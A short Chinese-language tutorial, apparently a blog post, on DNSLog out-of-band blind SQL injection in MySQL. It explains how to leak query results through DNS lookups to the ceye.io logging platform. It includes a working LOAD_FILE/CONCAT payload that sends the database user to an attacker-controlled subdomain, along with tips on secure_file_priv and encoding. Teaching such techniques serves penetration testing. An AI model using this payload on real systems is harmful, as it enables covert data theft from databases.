0x00 概要

测试一些站点时,大部分都是没有回显的,这时我们一般自己写脚本来猜数据,但是会产生大量的请求导致IP被ban。

所以这时我们就可以把 select 出来的数据发给dns服务器,利用dns解析产生日志来查看数据

原理就是DNS在解析的时候会留下日志,然后我们通过dns平台来读取多级域名的解析日志,来获取信息

简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

免费好用 dnslog平台:http://ceye.io/

0x01 权限查看

通过DNS log盲注要用到 load_file() 函数,所以一般要是root权限,并且要 load_file() 函数可以正常使用。

  • mysql执行:show variables like ‘%secure%’;
  • 查看load_file()可以读取的磁盘。
  1. 当secure_file_priv为空,就可以读取全部磁盘的文件。
  2. 当secure_file_priv为G:\,就可以读取G盘的文件。
  3. 当secure_file_priv为null,load_file就不能加载文件。
  1. mysql> show variables like '%secure%';
  2. +------------------+-------+
  3. | Variable_name | Value |
  4. +------------------+-------+
  5. | secure_auth | OFF |
  6. | secure_file_priv | |
  7. +------------------+-------+
  8. 2 rows in set (0.00 sec)

0x02 my.ini 修改

本地测试时,如果权限不够可以修改一下

  1. 打开my.ini
  2. 搜索一下secure_file_priv
  3. 有就修改为 secure_file_priv=””
  4. 没有就添加这一句:secure_file_priv=””
  5. 重新mysql

0x03 测试

  1. 记忆方式:select LOAD_FILE(CONCAT('\\\\',(select payload),'.11b7kdti.ceye.io\\abc'));
  1. 实战:select LOAD_FILE(CONCAT('\\\\',(select hex(user())),'.11b7kdti.ceye.io\\abc'));;

0x04 注意点

  1. 域名前缀长度限制在63个字符,解决办法是用mid()之类的函数来获取。
  2. 域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。